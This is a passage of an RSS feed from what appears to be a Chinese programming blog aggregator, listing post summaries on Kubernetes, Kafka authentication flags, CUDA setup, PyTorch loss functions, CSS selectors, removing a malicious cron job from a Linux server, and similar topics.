：&#xA;如果使用的是云服务器，需要配置安全组策略后本地数据库连接工具才能成功连接数据库！&#xA;道友可以在博客下方留言互相探讨学习或者关注公众号fairy with you了解更多，欢迎来撩！ 注：本博客仅用于交流学习，不用于任何商业用途，欢迎思维碰撞。 </description>
    </item>
    <item>
      <title>C语言 PTA 奇偶分家</title>
      <link>https://bchobby.github.io/posts/a11f2d426ad57c0984e16e58e100c2ee/</link>
      <pubDate>Fri, 18 Nov 2022 23:07:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a11f2d426ad57c0984e16e58e100c2ee/</guid>
      <description> 题目：&#xA;解题：&#xA;1）关键是怎样判断输入的数是奇数还是偶数，就看其值取余为何即可&#xA;代码：&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { int N,ru,i=0,o=0; scanf(&#34;%d\n&#34;,&amp;amp;N); while(i+o!=N) { scanf(&#34;%d&#34;,&amp;amp;ru); switch(ru%2) { case 1:i++; break; case 0:o++; break; } } printf(&#34;%d %d&#34;,i,o);&#x9;return 0; } </description>
    </item>
    <item>
      <title>k8s容器编排(使用kubeadm部署)</title>
      <link>https://bchobby.github.io/posts/14fc15eba300741dc60e38c14544857f/</link>
      <pubDate>Fri, 18 Nov 2022 20:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14fc15eba300741dc60e38c14544857f/</guid>
      <description>一。基础 kuberbete就是管理这些应用程序所在的小运行环境（container）而生，集群调度的最小单元就是一个pod，一个pod可以是一个容器，也可以是多个容器。k8s不是直接管理容器，而是管理pod。&#xA;1&#xA;一个K8S系统，通常称为一个K8S集群（Cluster）。kubectl 是k8s的客户端程序，也是k8s的命令行工具，提供的大量的子命令可以让用户可以和集群进行交互。&#xA;这个集群主要包括两个部分：&#xA;一个Master节点（主节点）&#xA;一群Node节点（计算节点）&#xA;2&#xA;Master节点包括API Server、Scheduler、Controller manager、etcd。&#xA;API Server是整个系统的对外接口，供客户端和其它组件调用，所有的指令请求都要经过apiserver 。&#xA;Scheduler使用调度算法，负责对集群内部的资源进行调度，把请求资源调度到某一个node节点，相当于“调度室”。&#xA;Controller manager维护k8s资源对象，负责管理控制器，控制平面，用于调度程序以及节点状态检测。&#xA;eted存储资源对象。&#xA;3&#xA;3.1&#xA;Node节点是实际部署容器运行的地方，包括Docker、kubelet、kube-proxy、Fluentd、kube-dns（可选），pods。&#xA;3.2&#xA;详细介绍：&#xA;Pod是Kubernetes最基本的操作单元。一个Pod代表着集群中运行的一个进程，它内部封装了一个或多个紧密相关的容器。&#xA;Service，一个Service可以看作一组提供相同服务的Pod的对外访问接口。&#xA;Docker，创建容器的。&#xA;Kubelet，在每一个node节点都存在一份，在node节点上的资源操作指令由kubelet来执行，主要负责监视指派到它所在Node上的Pod，包括创建、修改、监控、删除等。&#xA;Kube-proxy，主要负责为Pod对象提供代理，处理服务器间负载均衡。&#xA;Fluentd，主要负责日志收集、存储与查询。&#xA;3.3&#xA;Node包含的信息：&#xA;· Node地址：主机的IP地址，或Node ID。&#xA;· Node的运行状态：Pending、Running、Terminated三种状态。&#xA;· Node Condition：…&#xA;· Node系统容量：描述Node可用的系统资源，包括CPU、内存、最大可调度Pod数量等。&#xA;· 其他：内核版本号、Kubernetes版本等。&#xA;3.4&#xA;查看Node信息：&#xA;kubectl describe node&#xA;3.5&#xA;Pod的生命周期通过Replication Controller来管理；通过模板进行定义，然后分配到一个Node上运行，在Pod所包含容器运行结束后，Pod结束。&#xA;3.6&#xA;在Kubernetes的世界里，虽然每个Pod都会被分配一个单独的IP地址，但这个IP地址会随着Pod的销毁而消失，这就引出一个问题：如果有一组Pod组成一个集群来提供服务，那么如何来访问它呢？Service！&#xA;一个Service可以看作一组提供相同服务的Pod的对外访问接口，Service作用于哪些Pod是通过Label Selector来定义的。&#xA;· 拥有一个指定的名字（比如my-mysql-server）；&#xA;· 拥有一个虚拟IP（ClusterIP、ServiceIP或VIP）和端口号，销毁之前不会改变，只能内网访问；&#xA;· 能够提供某种远程服务能力；&#xA;· 被映射到了提供这种服务能力的一组容器应用上；&#xA;如果Service要提供外网服务，需指定公共IP和NodePort，或外部负载均衡器；&#xA;4&#xA;二。目的 k8s是一个编排容器的工具，创建应用，应用的部署，应用提供服务，扩容缩容应用，应用更新，故障自愈（一个服务器挂了，可以自动将这个服务器上的服务调度到另外一个主机上进行运行，无需进行人工干涉），更新的时候可以做到不用中断服务，服务器故障不用停机，从开发环境到测试环境到生产环境的迁移极其方便，一个配置文件搞定，一次生成image，到处运行&#xA;三。安装步骤 1</description>
    </item>
    <item>
      <title>Flink cdc 2.3.0 日前发布，支持众多新特性</title>
      <link>https://bchobby.github.io/posts/259fab377e7ce888c11168f059ac11e8/</link>
      <pubDate>Fri, 18 Nov 2022 17:13:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/259fab377e7ce888c11168f059ac11e8/</guid>
      <description>新连接器 2.3.0 新增了 DB2 CDC 连接器&#xA;增量快照迎来新的连接器成员 2.3.0 版本MongoDB CDC，Oracle CDC 两大连接器均支持了增量快照，实现无锁读取+并发读取+断点续传&#xA;优化 2.3.0 版本 MySQL CDC 连接器性能和稳定性大幅提升&#xA;Flink 支持 2.3.0 版本一口气兼容了Flink 1.13 &amp;amp; 1.14 &amp;amp; 1.15 &amp;amp; 1.16 四个版本&#xA;更多细节 MySQL CDC 支持指定位点/指定时间戳/earliest位点启动&#xA;MySQL CDC 支持异步分片，支持checkpoint期间分片暂停&#xA;MySQL CDC 支持全部字符集，支持宽容默认值，支持自动获取数据库时区&#xA;MySQL CDC JM内存和TM内存优化，binlog读取性能优化&#xA;OceanBase CDC 修复了时区问题，支持全类型对接到 Flink SQL&#xA;MongoDB CDC 支持了更多的数据类型，优化了捕获表的筛选过程&#xA;TiDB CDC 修复了全增量切换时数据丢失问题，支持读取时 region切换&#xA;Postgres CDC 支持的更多的类型，开放了更多配置项&#xA;SqlServer CDC 支持了更多的版本，完善了文档&#xA;MySQL CDC 和 OceanBase CDC 提供了中文文档，OceanBase CDC 提供了视频教程</description>
    </item>
    <item>
      <title>基于springboot学生管理系统设计与实现</title>
      <link>https://bchobby.github.io/posts/8cefb3ecf26e15ed8d96e396b7bb9354/</link>
      <pubDate>Fri, 18 Nov 2022 16:18:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cefb3ecf26e15ed8d96e396b7bb9354/</guid>
      <description>摘　要 目前，借助信息管理系统能够有效解决高校的信息管理问题，对于提高教育管理水平有着非常重要的作用。 因此，有必要建立一个与之相适应的管理信息系统。基于此，本文为了使教师高效地管理学生信息，需要对现代的学生 信息管理系统进行设计与实现，建立一个快速、简单、规范、标准化的学校办公管理平台。&#xA;本学生管理系统系统是根据目前学校实际情况的实际需求而设计的，采用了B/S结构和MVC三层设计模式、springboot mybatis技术、idea集成开发环境、mysql数据库。本本学生管理系统系统主要包括系统用户登录、选课管理、教评管理、校建管理、教师管理和学生管理,校园新闻，系统管理等多个模块。本文在开发学生信息管理系统的过程中，选取适合Java开发 语言的 MVC 架构开发模式。该开发模式能够降 低学生信息管理业务逻辑之间的耦合度，不仅能够使学生信息 管理的业务更加清晰，也能为系统的数据安全提供保障。&#xA;关键词： springboot学生管理系统：mysql数据库; html Design and implementation of head teacher management system&#xA;Abstract At present, with the help of information management system can effectively solve the problem of information management in Colleges and universities, which plays a very important role in improving the level of education management. Therefore, it is necessary to establish a corresponding management information system. Based on this, in order to make teachers manage student information efficiently, we need to design and implement a modern student information management system, and establish a fast, simple, standardized and standardized school office management platform.</description>
    </item>
    <item>
      <title>[附源码]java毕业设计农产品网络销售系统</title>
      <link>https://bchobby.github.io/posts/0296095ca697e9943df8433811cd0a82/</link>
      <pubDate>Fri, 18 Nov 2022 14:01:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0296095ca697e9943df8433811cd0a82/</guid>
      <description>项目运行&#xA;环境配置：&#xA;Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX（Webstorm也行）+ Eclispe（IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持）。&#xA;项目技术：&#xA;SSM + mybatis + Maven + Vue 等等组成，B/S模式 + Maven管理等等。&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。&#xA;2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA;&#xA;3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可&#xA;4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS；&#xA;5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目 6.数据库：MySql 5.7/8.0等版本均可；&#xA;毕设帮助，指导，本源码分享，调试部署(见文末)&#xA;3.1需求分析 该款农产品网络销售系统的主要功能有：个人中心,商户管理，用户管理，产品分类管理，农产品管理，系统管理等。&#xA;(1) 登入界面：首次打开软件，会出现账号以及密码的填写页面，当然也可以进行新商户的注册，新商户注册需要完成账号,密码,确认密码,商户名称,联系方式，联系人等信息的填写；&#xA;(2)用户界面：商户可以根据自身要求在搜索栏进行关键词搜索，随即会显示有关农产品网络销售的具体信息等，进入用户后台可以对个人中心，农产品管理，订单管理等功能进行相应的操作；&#xA;(3) 管理员：管理员可以对所有信息进行查看，修改和删除等，包括对商户的信息进行操作。&#xA;3.2系统可行性分析 3.2.1技术可行性 本农产品网络销售系统使用的是Eclipse开发环境及Java语言。Java是编写程序的面向对象的编程语言，封装了各种数据和处理数据的方法，方便了程序员的设计与开发。其跨平台的特性，使得其不被平台环境束缚。另外，其具有多线程的处理能力，这使得程序具有更好的交互性和实时性。&#xA;3.2.2操作可行性 现在随着科技的飞速发展，计算机早已经进入了人们的日常生活中，人们的工作环境也不像以前有那么多的要求，需要员工一定要到公司办公，有的工作在家也可以完成。这使得人们的工作效益有了很大的提高。操作的多样性也变高了。因此，管理的计算机化，智能化是社会发展而带来的必然趋势，各种智能的软件层出不穷，不同的软件能完成商户不同的需求，这不仅提高了工作效率还能完成一些客户特定的一些需求。本系统不仅界面简洁明了还采用可视化界面，用户只要用鼠标和键盘就可以完成对相关信息的修改，删除，添加等操作。因为这个系统的操作十分简单，方便上手，对于第一次使用系统的人，只需要很少的时间就可以上手操作。由此可见，本系统在操作上是可行的。&#xA;3.2.3经济可行性 农产品网络销售系统的设计与开发环境仅需要一台电脑和一款模拟器，成本预算少，外加搭建开发环境和安装开发工具即可。&#xA;3.3系统设计规则与运行环境 软件系统的优劣很大程度上是由系统设计的完善与否决定的。世间万物都必须遵循生老病死的法则，这是大自然的规则不能违反，软件设计也一样需要遵循系统设计规则。因此，在设计过程中必须遵循系统设计规则。&#xA;规则如下：&#xA;简单性：为了扩大系统使用者的受众面，系统设计应该本着操作越简单约好的原则，这样不仅能提高系统的使用率更能够扩大系统使用面。。&#xA;针对性：一个系统针对性越强，所能提供的功能必然越完善，用户体验肯定更好，所以应该明确指定系统针对性。&#xA;实用性：实用永远是检验一个系统是否成功的唯一标准，使用的语言再高端，使用的结构再新颖但不能满足用户的要求那就是失败。&#xA;运行环境：&#xA;本系统是利用B/S结构来开发的，数据库在服务器上进行部署 Mysql即可，其他包括My Eclipse等常规开发程序。&#xA;4 系统软件的总体设计 4.1系统开发流程 （1）需求分析：初步分析商户的需求，列出功能模块。&#xA;（2）系统设计：相关数据库、各功能的设计。&#xA;（3）界面设计：根据各个模块准备素材，设计界面。</description>
    </item>
    <item>
      <title>vue3 实现echarts根据页面大小进行自适应</title>
      <link>https://bchobby.github.io/posts/e143be662a6f0afded97b523958dea9a/</link>
      <pubDate>Fri, 18 Nov 2022 12:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e143be662a6f0afded97b523958dea9a/</guid>
      <description>效果图:&#xA;1. 工具代码&#xA;debounce代码 === @/utils/index /** * 函数防抖 * @param {Function} func 包装的函数 * @param {num} delay 延迟时间 * @param {boolean} immediate 第一次滚动会执行两次 开始滚动和结束滚动的时候 * @return {*} */ export function debounce(func, delay, immediate = false) { let timer, context = this; return (...args) =&amp;gt; { if (immediate) { func.apply(context, args); immediate = false; return; } clearTimeout(timer); timer = setTimeout(() =&amp;gt; { func.apply(context, args); }, delay); }; } 页面关键代码块</description>
    </item>
    <item>
      <title>解决-linux服务器被执行恶意脚本代码</title>
      <link>https://bchobby.github.io/posts/717c4c462a0ffb9dfcacceb08ed77840/</link>
      <pubDate>Fri, 18 Nov 2022 10:24:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/717c4c462a0ffb9dfcacceb08ed77840/</guid>
      <description> 1. 首先登入服务器，top命令看一下资源使用情况 2. 通过点击“shift+M”，按照内存大小排序；点击“shift+P”，按照CPU大小排序。 发现并不是执行某个程序占用资源。&#xA;3. ps -ef 查看运行的进程 可以 kill -9 进程号 或者 pkill -u 用户名 杀死进程；&#xA;但是发现杀死进程后，它又重新启动，所以应该是使用了定时任务&#xA;4. 删除本用户（root）的定时任务 命令：crontab -l ：查看定时任务代码&#xA;crontab -e：编辑并删除定时任务代码&#xA;删除root的定时任务后，发现进程又重启了（用户是nobody），所以需要删除其他用户的定时任务。&#xA;5. 删除其他用户定时任务 cd /var/spool/cron；这是所有用户crontab文件存放的目录，以用户名命名&#xA;直接删除某个用户的定时任务文件即可。&#xA;暂时还不清楚被执行的恶意脚本代码的用意是什么，后续会查清楚并补充！ </description>
    </item>
    <item>
      <title>torch.nn.CrossEntropyLoss</title>
      <link>https://bchobby.github.io/posts/5fab819292c36232d73d2412d33850d8/</link>
      <pubDate>Thu, 17 Nov 2022 20:47:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fab819292c36232d73d2412d33850d8/</guid>
      <description>CrossEntropyLoss用于计算多分类问题的交叉熵损失。因为torch.nn.CrossEntropyLoss内置了Softmax运算，所以在使用torch.nn.CrossEntropyLoss作为损失函数时，不要在网络的最后添加Softmax层！！！label应为一个整数，而不是one-hot编码形式。&#xA;示例 import torch &#39;&#39;&#39; 每一个样本都有一个标签，表示它的真实类别。在深度学习中，通常是分批进行训练。 对于一个N分类问题，样本的标签只可能是0、1、2 ... N-1 则对于一个3分类问题，样本的标签只可能是0或1或2。 当batch_size为5时，这一个batch的标签是一个形状为[batch_size]的tensor,即shape为[5] &#39;&#39;&#39; # 一个batch(batch_size=5)的标签 label = torch.tensor([1, 2, 0, 1, 0]) print(label.shape) # [5] &#39;&#39;&#39; 对于一个3分类问题，当训练时batch_size为5， 则深度网络对每一个batch的预测值是一个形状为[batch_size, classes]的tensor,即shape为[5, 3] 以深度网络对第一个样本的预测值[0.5, 0.8, -1.2]为例， 经过Softmax层后，得到[0.3949, 0.5330, 0.0721],表示深度网络认为第一个样本属于0，1，2这三类的概率分别是0.3949，0.5330， 0.0721 &#39;&#39;&#39; predict = torch.tensor([[ 0.5, 0.8, -1.2], [-0.2, 1.8, 0.5], [ 0.3, 0.2, 0.7], [ 0.6, -0.8, -0.4], [-0.4, 0.2, 0.8]]) print(predict.shape) # [5, 3] # 当reduction=&#39;none&#39;时，输出是对每一个样本预测的损失 loss_func = torch.nn.CrossEntropyLoss(reduction=&#39;none&#39;) loss = loss_func(predict, label) print(loss) # tensor([0.</description>
    </item>
    <item>
      <title>CUDA与cuDNN安装教程（超详细）</title>
      <link>https://bchobby.github.io/posts/f0adee4c07459a4e49a348dcad68bd68/</link>
      <pubDate>Thu, 17 Nov 2022 20:24:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0adee4c07459a4e49a348dcad68bd68/</guid>
      <description>前言 windows10 和win11安装 CUDA ，首先需要下载两个安装包&#xA;CUDA toolkit（toolkit就是指工具包）&#xA;cuDNN 用于配置深度学习使用&#xA;官方教程&#xA;CUDA：Installation Guide Windows :: CUDA Toolkit Documentation (nvidia.com)&#xA;cuDNN：Installation Guide :: NVIDIA Deep Learning cuDNN Documentation&#xA;cuda的下载及安装 cuda版本 判断自己应该下载什么版本的cuda？&#xA;打开nvidia（桌面右键）-&amp;gt;选择左下角的系统信息-&amp;gt;组件&#xA;此处 版本向下兼容，即按照开发库一般不建议使用最新版本的原则，此处我们的显卡及驱动最高支持cuda11.2，但是我们仍然选择10.1版本来完成开发工作。&#xA;也可以直接在cmd中输入&#xA;nvidia-smi 进行 查看自己显卡支持的cuda版本。&#xA;CUDA toolkit Download CUDA Toolkit Archive | NVIDIA Developer&#xA;点进去，按照如下配置选择，然后点击下载：&#xA;此处我们使用离线安装方法，下载exe可执行文件完成安装。&#xA;cuda安装&#xA;安装cuda时，第一次会让设置临时解压目录，第二次会让设置安装目录；&#xA;临时解压路径，建议默认即可，也可以自定义。安装结束后，临时解压文件夹会自动删除；&#xA;安装目录，建议默认即可；&#xA;注意：临时解压目录不要和cuda的安装路径设置一样，否则安装结束，会找不到安装目录！此处我将临时安装目录设置到非系统盘路径，但是注意要选择空文件夹，否则会报错。&#xA;选择自定义安装&#xA;安装完成后，配置cuda的环境变量；&#xA;命令行中，测试是否安装成功；&#xA;双击“exe文件”，选择下载路径（推荐默认路径）&#xA;同意并继续&#xA;自定义安装，精简版本是下载好所有组件，并且会覆盖原有驱动，所以在这里推荐自定义下载。&#xA;如果你是第一次安装，尽量全选&#xA;如果你是第n次安装，尽量只选择第一个，不然会出现错误。&#xA;没有选择visual studio，后面说找不到，就返回取消了这个复选框&#xA;此处安装目录不建议修改，因为后期开发中很多报错来源于路径问题。&#xA;Ok啦，点击下一步即可&#xA;打开控制面板即可发现安装了一大堆配置和驱动文件。&#xA;查看环境变量&#xA;点击设置--&amp;gt;搜索高级系统设置--&amp;gt;查看环境变量&#xA;【如果没有需要自己添加】&#xA;一共四个系统变量，都是自动生成的，但是有时后两个系统变量可能不会自动生成，需要自己添加上去，添加时注意路径。</description>
    </item>
    <item>
      <title>kafka配置用户名密码开启认证后 命令行工具报错无法使用</title>
      <link>https://bchobby.github.io/posts/6411ec6550d26e872d797d87712810ca/</link>
      <pubDate>Thu, 17 Nov 2022 14:50:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6411ec6550d26e872d797d87712810ca/</guid>
      <description> kafka 开启认证模式，命令行工具kafka-console-producer.sh kafka-console-consumer.sh无法使用报错&#xA;kafka的配置 测试环境kafka配置了认证模式&#xA;security.inter.broker.protocol=SASL_PLAINTEXT&#xA;sasl.enabled.mechanisms=PLAIN&#xA;此时，如果直接运行 生产者命令行&#xA;bin/kafka-console-producer.sh --broker-list localhost:9092 --topic test 可能会有如下报错&#xA;[2022-11-03 10:53:32,911] WARN [Producer clientId=console-producer] Connection to node -1 (localhost/127.0.0.1:9092) could not be established. Broker may not be available. (org.apache.kafka.clients.NetworkClient) 运行 消费组命令行工具，也会报错&#xA;bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic test --from-beginning 原因 由于 kafka开启了认证，如果命令行工具中 不加认证参数，就没有办法成功链接&#xA;修改 修改生产者命令行&#xA;bin/kafka-console-producer.sh --broker-list localhost:9092 --topic test-topic --producer-property security.protocol=SASL_PLAINTEXT --producer-property sasl.mechanism=PLAIN 修改消费组命令行&#xA;bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic test --from-beginning --consumer-property security.protocol=SASL_PLAINTEXT --consumer-property sasl.mechanism=PLAIN </description>
    </item>
    <item>
      <title>了解 SQL 和 MySQL 之间的区别</title>
      <link>https://bchobby.github.io/posts/0eba6b02c90bcc21a00c8edea50ff82b/</link>
      <pubDate>Thu, 17 Nov 2022 13:50:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0eba6b02c90bcc21a00c8edea50ff82b/</guid>
      <description>随着商业世界中数据使用的增加，管理数据库的需求也显着增长。这些数据库已经发展成为每个企业不可或缺的一部分，无论其规模和结构如何。&#xA;但除非经过分析，否则数据毫无用处。为此，公司使用 RDBMS（关系数据库管理系统）。RDBMS帮助数据库管理员和组织使用管理工具开发不同数据集之间的关系。在本文中，您将了解这两种广泛流行且高效的管理工具，并了解SQL和 MySQL 之间的区别。但在深入研究 SQL 和MySQL之间的区别之前，有必要分别了解它们。&#xA;什么是 SQL？&#xA;SQL 是结构化查询语言的缩写。根据 ANSI（美国国家标准协会）指南，SQL 是维护和管理数据库的标准语言。因此，除了一些小的语法更改外，大多数数据库的检索、添加或操作数据的查询都基于标准的 SQL 语法。&#xA;SQL 最初是在 IBM 开发的。使用 SQL，您可以使用简单的类似英语的语言轻松查询数据库以添加、更改、更新或删除数据。您可以使用 SQL 来管理多个关系数据库管理系统，例如 MySQL、SQL Server、Oracle 和 MS Access。通过在 SQL 中编写代码和查询，您可以在创建模式的同时创建和修改任何数据库。&#xA;什么是 MySQL？&#xA;MySQL 是 1995 年开发和发布的关系数据库管理系统。它由 MySQL AB 开发和赞助，后来被 Sun Microsystems（即今天的 Oracle Corporation）收购。MySQL 是“我的”（联合创始人的女儿）和“SQL”的组合。&#xA;MySQL 是最早开发和推出的开源 RDBMS 之一。目前，MySQL 有很多变体。但是，所有变体的基本语法都保持不变。使用 C 和C++ 编程语言设计和编写，MySQL 与所有主要 OS（操作系统）兼容。它是广受欢迎的开源 Web 应用程序软件堆栈的核心组件，称为 LAMP，代表 Linux、Apache、MySQL、PHP /Perl/ Python。&#xA;SQL 是一种管理 RDBMS 的查询编程语言。&#xA;MySQL 是一个使用 SQL 的关系数据库管理系统。&#xA;SQL主要用于查询和操作数据库系统。&#xA;MySQL 允许您以有组织的方式处理、存储、修改和删除数据以及存储数据。</description>
    </item>
    <item>
      <title>SpringBoot用MultipartFile.transferTo传递相对路径的问题</title>
      <link>https://bchobby.github.io/posts/0de9612e8cf88080b05f1b96820719b1/</link>
      <pubDate>Thu, 17 Nov 2022 13:43:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0de9612e8cf88080b05f1b96820719b1/</guid>
      <description> 起因：&#xA;工作中简单的图片不需要使用第三方文件存储服务，上传到项目所在路径保存，在使用 MultipartFile.transferTo 转存文件时报错，路径找不到。&#xA;原因：&#xA;当MultipartFile的transferTo的入参是相对路径时，会自动拼接成一个绝对路径，但这个绝对路径并不是真实存在的，所以转存时会报错，而如果传递的时绝对路径，就不会有问题。但是我非要传相对路径，解决办法如下。&#xA;解决：&#xA;File dir = new File(&#34;目录相对路径&#34;); if (!dir.exists()) { dir.mkdirs(); // 创建目录 } try { String realPath = dir.getCanonicalPath(); // 获取真实路径 file.transferTo(new File(realPath + &#34;/&#34; + fileName)); // 转存 } catch (IOException e) { System.err.println(e); throw new BadRequestException(&#34;上传失败&#34;); } </description>
    </item>
    <item>
      <title>[前端笔记002]CSS的基础知识及选择器 -- selector</title>
      <link>https://bchobby.github.io/posts/005cf87b6ac2a28c29a93f106de46455/</link>
      <pubDate>Thu, 17 Nov 2022 10:31:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/005cf87b6ac2a28c29a93f106de46455/</guid>
      <description>资源 推荐zeal:离线文档查看器 https://zealdocs.org/推荐w3c:线上文档 https://www.w3school.com.cn/本笔记参考视频，尚硅谷:BV1XJ411X7Ud我的笔记：https://gitee.com/plusmile/stackedit-app-data.git我的CSS文件：https://gitee.com/plusmile/front-code.gitCSS餐厅练习：https://flukeout.github.io/，可以练习下面提到的选择器，检查自己的学习情况。 简介 网页分为三个部分，结构(html)现(CSS)行为(Javascript)，这章讲表现，看到的都是表现。CSS全称层叠样式表，通俗的讲就是按样式表规定标签样式长啥样。注释的格式为/* 注释内容*/,可以写在style里也可以写在CSS文件中CSS的基本语法为：选择器{声明块}，选择器可以选中页面中的指定元素，声明块中可以定义要为元素设置的样式，声明式结构: 样式名:值;CSS修改样式的方式： 内联样式，行内样式，在标签内通过style属性设置元素样式， 编写、修改比较麻烦，开发时不使用，例子如下：&#xA;&amp;lt;p style=&#34;color:red; font-size:60px;&#34;&amp;gt;111&amp;lt;/p&amp;gt;内部样式表，将样式编写到head中的style标签中，缺点是不同文件无法复用，例子如下： &amp;lt;style&amp;gt; p{ color:green; font-size:60px; } &amp;lt;/style&amp;gt; 外部样式表，需要编写到外部的CSS文件中，文件中语法与第二种相同， 然后使用link标签引入外部的CSS文件。方便多网页复用，可以使用浏览器的缓存机制，加快网页加载速度，是最佳实践。href的值跟html笔记中a标签的值格式一样。&#xA;&amp;lt;link rel=&#34;stylesheet&#34; href=&#34;./01-CSS简介.css&#34;&amp;gt; 常用的选择器 元素选择器：根据标签名选中指定的元素&#xA;- 语法：标签名{}&#xA;- 例子：p{} h1{} div{} p{color: rebeccapurple;}id选择器：根据元素的id属性值选中一个元素&#xA;- 说明：因为id不能重复，所以只能选中一个&#xA;- 语法：#id属性值{}&#xA;- 例子：#box{} #red{color: red;}类选择器：根据元素的class属性值选中一个元素&#xA;- 说明: class为标签属性，可以使用class来为不同或相同元素分组&#xA;- 语法：.class属性值{}&#xA;- 例子：.blue{color: red;}&#xA;- 在标签中可以同时为一个与元素指定多个class属性，以空格隔开&#xA;&amp;lt;h1 class=&#34;blue big&#34;&amp;gt;类选择器&amp;lt;/h1&amp;gt;通配选择器：选中页面中的所有元素&#xA;- 语法：*{}&#xA;- 例子：*{color: red;} 复合选择器 交集选择器：选中同时符合多个条件的元素&#xA;- 语法：选择器1选择器2选择器n{}&#xA;- 例子：div.red.a.b{color: red;}&#xA;- 注意：元素选择器必须为开头，如果有的话并集选择器：同时选择多个选择器对应的元素。</description>
    </item>
    <item>
      <title>金融知识总结</title>
      <link>https://bchobby.github.io/posts/3924be6c58f3cde7eaa2a48d1e6adf4b/</link>
      <pubDate>Thu, 17 Nov 2022 10:25:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3924be6c58f3cde7eaa2a48d1e6adf4b/</guid>
      <description>MKS主义理论体系。 MKS主义理论体系包括MKS主义哲学、MKS主义政治经济学和科学社会主义三大部分。&#xA;其中，MKS主义哲学是科学的世界观和方法论，是MKS主义全部学说的理论基础。科学社会主义直接体现了无产阶级利益和共产主义理想，是MKS主义的理论目的、理论归宿和主要标志。MKS主义政治经济学是运用MKS主义哲学原理去研究社会生产关系及其发展规律的科学。它通过对资本主义生产方式的内在矛盾、运行机制和发展规律的深刻分析，揭示了资本主义剥削的秘密和它必然被社会主义所代替的历史命运，是MKS主义的主要内容。 MKS主义的基本立场、基本观点和基本方&#xA;MKS主义的基本立场:以人民为中心，一切为了人民，一切依靠人民。&#xA;MKS主义的基本观点:是关于自然、社会和人类思维发展一般规律的科学认识，是对人类思想成果和社会实践经验的科学总结&#xA;MKS主义的基本方法:是建立在辩证唯物主义和历史唯物主义世界观和方法论基础上，指导我们正确认识世界和改造世界的思想方法和工作方法.&#xA;MKS主义的当代价值在于&#xA;第一，它是观察当代世界变化的认识工具;&#xA;第二，它是指引当代中国发展的行动指南;&#xA;第三，它也是引领人类社会进步的科学真理。MKS主义必须与中国的实际国情相结合。&#xA;MKS主义的鲜明特征&#xA;1.科学性 MKS主义是对自然、社会和人类思维发展本质和规律的正确反映。&#xA;2.革命性 MKS主义的革命性，集中表现为它的彻底的批判精神和鲜明的无产阶级立场。&#xA;3.实践性 MKS主义是从实践中来，到实践中去，在实践中接受检验，并随实践而不断发展的学说。（从前唯物主义的主要区别）&#xA;4.人民性 人民至上是MKS主义的政治立场。MKS主义的人民性是以阶级性为深刻基础的，是无产阶级先进性的体现。&#xA;5.发展开放性 发展性是指MKS主义是不断发展的学说，具有与时俱进的理论品质。&#xA;辩证唯物论 哲学问题不同流派&#xA;唯物主义哲学与“半截子”的旧唯物主义思想本质区别&#xA;列宁的这一论述特别强调了MKS、恩格斯唯物主义哲学的“辩证”属性和“历史”属性，并以此作为与以往唯物主义哲学的区别，旨在说明MKS主义哲学是辩证唯物主义和历史唯物主义的高度统一，与“半截子”的旧唯物主义思想有着本质区别。&#xA;半截子唯物主义&#xA;“半截子”唯物主义是指费尔巴哈等人在唯物主义的立场上所表现出来的不彻底性，也就是没有把唯物主义贯彻到社会历史领域，即在自然观上是唯物主义的，在历史观上则陷入唯心主义。&#xA;唯物主义和唯心主义是哲学中的两大基本派别，划分两大派别的标准是何为第一性&#xA;物质和运动&#xA;运动的概念:运动是标志一切事物和现象的变化及其过程的哲学范畴。 运动是物质的存在方式和根本属性。&#xA;物质和运动的关系:不可分割。运动是物质的运动，物质是运动着的物质。&#xA;两种错误的观点:脱离物质谈运动，将导致唯心主义;脱离运动谈物质，将导致形而上学。&#xA;运动和静止&#xA;静止的概念:静止是物质运动在一定条件下的稳定状态，包括空间位置和根本性质暂时未变这样两种运动的特殊状态。&#xA;运动和静止的关系:对立统一。&#xA;运动和静止相互区别:&#xA;运动的绝对性体现了物质运动的变动性、无条件性;&#xA;静止的相对性体现了物质运动的稳定性、有条件性。&#xA;运动和静止相互联系:运动和静止相互依赖、相互渗透、相互包含，“动中有静，静中有动”&#xA;实践是自然存在与社会存在区分和统一的基础：&#xA;一方面，实践是使物质世界分化为自然界与人类社会的历史前提，又是使自然界与人类社会统一起来的现实基础。&#xA;自然存在与人类社会联系&#xA;在实践活动中，物质世界被区分为自然界和人类社会两大领域，二者都具有客观实在性，它们相互联系、相互作用。&#xA;但观念分两种:&#xA;一种是“我的观念”，属于主观唯心主义;&#xA;另一种是“绝对观念”，属于客观唯心主义;&#xA;意识的概念&#xA;意识是自然界长期发展的产物，是人脑的机能和属性，是客观世界的主观映象。&#xA;意识形成的影响因素&#xA;意识不仅是自然界长期发展的产物，而且是社会历史发展的产物。&#xA;社会实践特别是劳动，在意识的产生和发展中起着决定性的作用。&#xA;一方面，劳动为意识的产生和发展提供了客观需要和可能;&#xA;另一方面，在人们的劳动和交往中形成的语言促进了意识的发展，语言是意识的物质外壳。&#xA;意识的本质:&#xA;意识从其本质来看是客观世界的主观映象，是客观内容和主观形式的统一。&#xA;意识是物质的产物，但又不是物质本身，意识是特殊的物质-人脑的机能和属性，意识在内容上是客观的，在形